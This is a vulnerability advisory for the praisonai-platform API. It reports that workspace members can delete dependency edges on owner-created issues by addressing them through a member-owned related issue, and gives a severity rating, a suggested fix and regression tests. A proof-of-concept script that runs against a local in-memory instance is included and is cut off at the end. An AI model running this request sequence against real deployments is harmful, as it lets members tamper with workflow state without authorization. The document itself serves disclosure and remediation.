PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues

Platform members can delete owner issue dependencies through member-owned related issues

Summary

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

Technical Details

The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/dependencies.py defines DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. The route first verifies that the URL issue_id is in the workspace, loads the dependency by dep_id, and accepts the dependency when either dep.issue_id == issue_id or dep.depends_on_issue_id == issue_id. It then calls require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id) for the URL issue only.

src/praisonai-platform/praisonai_platform/api/deps.py implements require_delete_permission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resource_owner_id == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.

The same route family also lets any workspace member create dependency edges on owner-created issues with only require_workspace_member. POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issue_id, body.depends_on_issue_id, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.

The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.

Essential excerpt:

dep_resp = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
    headers=owner_headers,
)
dep_id = dep_resp.json()["id"]

member_delete_owner_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

member_delete_member_endpoint = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
    headers=member_headers,
)

owner_list_after_member_delete = await client.get(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
    headers=owner_headers,
)

The full PoV script is included in the appendix below as pov_platform_dependency_delete_bypass.py.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true
}

The key vulnerable sequence is member_delete_owner_issue_endpoint == 403, followed by member_delete_member_issue_endpoint == 204 for the same dependency id, followed by owner_dependency_count_after_member_delete == 0.

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json

Decisive latest-PyPI output:

{
  "checks": {
    "member_create_dependency_on_owner_issue": 201,
    "member_delete_member_issue_endpoint": 204,
    "member_delete_owner_issue_endpoint": 403,
    "member_delete_owner_only_dependency": 403,
    "non_member_create_dependency": 403,
    "owner_delete_owner_only_dependency": 204,
    "owner_dependency_count_after_member_delete": 0
  },
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true
}

Version sweep excerpt:

praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.
praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.

Impact

An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blocked_by, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.

Suggested Fix

Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issue_id issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.

For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.

Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.

Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.

GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.

Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.

References

• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7
• https://cwe.mitre.org/data/definitions/862.html
• https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

=== praisonai-platform 0.1.4 ===
"member_delete_owner_issue_endpoint": 204
"member_delete_member_issue_endpoint": 404
"member_delete_owner_only_dependency": 204
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 404
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.6 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

=== praisonai-platform 0.1.8 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0

Appendix B - Full PoV Script

Save this as pov_platform_dependency_delete_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform issue-dependency delete authorization."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(
            f"register failed for {email}: {response.status_code} {response.text}"
        )
    body = response.json()
    return body["token"], body["user"]["id"]


async def _create_issue(
    client: Any,
    workspace_id: str,
    headers: dict[str, str],
    title: str,
) -> str:
    response = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/",
        json={"title": title, "priority": "high"},
        headers=headers,
    )
    response.raise_for_status()
    return response.json()["id"]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        owner_issue_id = await _create_issue(
            client, workspace_id, owner_headers, "Owner-owned blocked issue"
        )
        member_issue_id = await _create_issue(
            client, workspace_id, member_headers, "Member-owned related issue"
        )

        dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=owner_headers,
        )
        dep_resp.raise_for_status()
        dep_id = dep_resp.json()["id"]

        member_delete_owner_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        member_delete_member_endpoint = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
            headers=member_headers,
        )
        owner_list_after_member_delete = await client.get(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            headers=owner_headers,
        )

        owner_issue_b = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue B"
        )
        owner_issue_c = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue C"
        )
        owner_only_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/",
            json={"depends_on_issue_id": owner_issue_c, "type": "blocks"},
            headers=owner_headers,
        )
        owner_only_dep_resp.raise_for_status()
        owner_only_dep_id = owner_only_dep_resp.json()["id"]
        member_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=member_headers,
        )
        owner_delete_owner_only_dep = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
            headers=owner_headers,
        )

        outsider_create_dependency = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
            headers=outsider_headers,
        )

        member_created_dep_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
            json={"depends_on_issue_id": member_issue_id, "type": "related"},
            headers=member_headers,
        )
        if member_created_dep_resp.status_code == 201:
            member_created_dep_id = member_created_dep_resp.json()["id"]
            await client.delete(
                f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}",
                headers=owner_headers,
            )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    dependencies_after_delete = (
        owner_list_after_member_delete.json()
        if owner_list_after_member_delete.status_code == 200
        else None
    )
    checks = {
        "member_delete_owner_issue_endpoint": member_delete_owner_endpoint.status_code,
        "member_delete_member_issue_endpoint": member_delete_member_endpoint.status_code,
        "owner_dependency_count_after_member_delete": (
            len(dependencies_after_delete) if dependencies_after_delete is not None else None
        ),
        "member_delete_owner_only_dependency": member_delete…